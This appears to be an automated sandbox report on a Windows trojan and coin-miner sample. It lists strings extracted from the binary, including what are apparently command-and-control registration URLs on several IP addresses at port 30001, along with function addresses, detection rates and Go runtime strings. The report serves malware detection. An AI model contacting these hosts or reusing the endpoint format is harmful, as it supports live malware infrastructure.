Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001/api/helper-first-register?
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000191C000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000184C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b8
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFUS01QypY923ec5c02989f28b859f51c6956b5ad192
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFdzQpInVp
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56:30001abcdefghijklmnopqrstuvwxyzABCDEFoWemEAaDHTTP/1.1
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63:30001
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63:30001/api/helper-first-register?
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001996000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000191C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b8
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63:30001abcdefghijklmnopqrstuvwxyzABCDEFqaG5VsBPHTTP/1.1
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001876000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018B6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001/api/helper-first-register2024/08/04
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001/api/helper-first-register?
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001888000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRST
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000191C000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000184C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001/api/helper-first-registerhttp://195.2.70.38:30001/api/helper-first-regis
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001abcdefghijklmnopqrstuvwxyzABCDEFDbSoScCp923ec5c02989f28b859f51c6956b5ad19
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123:30001abcdefghijklmnopqrstuvwxyzABCDEFg1eMZ8Fg2024/08/04
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001884000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001/api/helper-first-register
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001/api/helper-first-register?
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.000000000198E000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001810000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000184C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001/api/helper-first-register?buildVersion=0Amd.uww2FVQ&md5=923ec5c02989f28b85
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.0000000001812000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFIEr8ObJLHTTP/1.1
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFJBO2t1wntext/plain;
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001982000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28:30001abcdefghijklmnopqrstuvwxyzABCDEFJStZJSWtHTTP/1.1
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2158983127.0000000001980000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe, 00000000.00000002.2157529596.000000000180A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://HTTP/1.1X-Api-Key

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038C090	0_2_0038C090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038D130	0_2_0038D130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003D3100	0_2_003D3100
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038B170	0_2_0038B170
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0036C1A0	0_2_0036C1A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_00382250	0_2_00382250
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003632A0	0_2_003632A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0037A2E0	0_2_0037A2E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038A3C0	0_2_0038A3C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003E1460	0_2_003E1460
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003A84F0	0_2_003A84F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003E5550	0_2_003E5550
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003955B0	0_2_003955B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0036B580	0_2_0036B580
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038C6A0	0_2_0038C6A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038B6E0	0_2_0038B6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003AD6E0	0_2_003AD6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003E0770	0_2_003E0770
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_00368790	0_2_00368790
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0039B860	0_2_0039B860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003638C0	0_2_003638C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038A930	0_2_0038A930
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_00374960	0_2_00374960
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003E19E0	0_2_003E19E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003CFA10	0_2_003CFA10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0039CA60	0_2_0039CA60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003CEAB0	0_2_003CEAB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_00386AD0	0_2_00386AD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003BDBE2	0_2_003BDBE2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_0038BD30	0_2_0038BD30
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003D1D20	0_2_003D1D20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003E1F00	0_2_003E1F00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003A3F50	0_2_003A3F50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_2_003E4F40	0_2_003E4F40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0038D130	0_1_0038D130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0038B170	0_1_0038B170
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0036C1A0	0_1_0036C1A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_003632A0	0_1_003632A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0037A2E0	0_1_0037A2E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0038A3C0	0_1_0038A3C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_003A84F0	0_1_003A84F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0036B580	0_1_0036B580
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0038C6A0	0_1_0038C6A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_003AD6E0	0_1_003AD6E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_00368790	0_1_00368790
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_00368860	0_1_00368860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0039B860	0_1_0039B860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_0038A930	0_1_0038A930
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_00374960	0_1_00374960
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_00386AD0	0_1_00386AD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: 0_1_003A3F50	0_1_003A3F50

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: String function: 00370AE0 appears 50 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Code function: String function: 003946D0 appears 144 times

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@1/0@0/5

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	ReversingLabs: Detection: 42%
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	Virustotal: Detection: 64%

Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: runtime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:sec
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: runtime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:sec
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: concurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:sec
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: concurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:sec
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspin
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspin
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent loc
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent loc
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: text offset out of r
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: text offset out of r
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler s
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler s
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable t
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable t
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: lfstack node allocated from the heapruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: lfstack node allocated from the heapruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: /memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: uncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: uncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime:
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: slice bounds out of range [%x:%y]misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: text offset out of rangetimer period must be non-negativeruntime: name offset out of rangeruntime: type offset out of range
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: slice bounds out of range [%x:%y]misrounded allocation in sysAllocconcurrent map read and map writeruntime: failed to decommit pages/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2stoplockedm: inconsistent lockingfindrunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: text offset out of rangetimer period must be non-negativeruntime: name offset out of rangeruntime: type offset out of range
Source: SecuriteInfo.com.Win32.Malware-gen.26009.9463.exe	String found in binary or memory: mlfstack node allocated from the heapruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=trueruntime: wrong goroutine in newstack
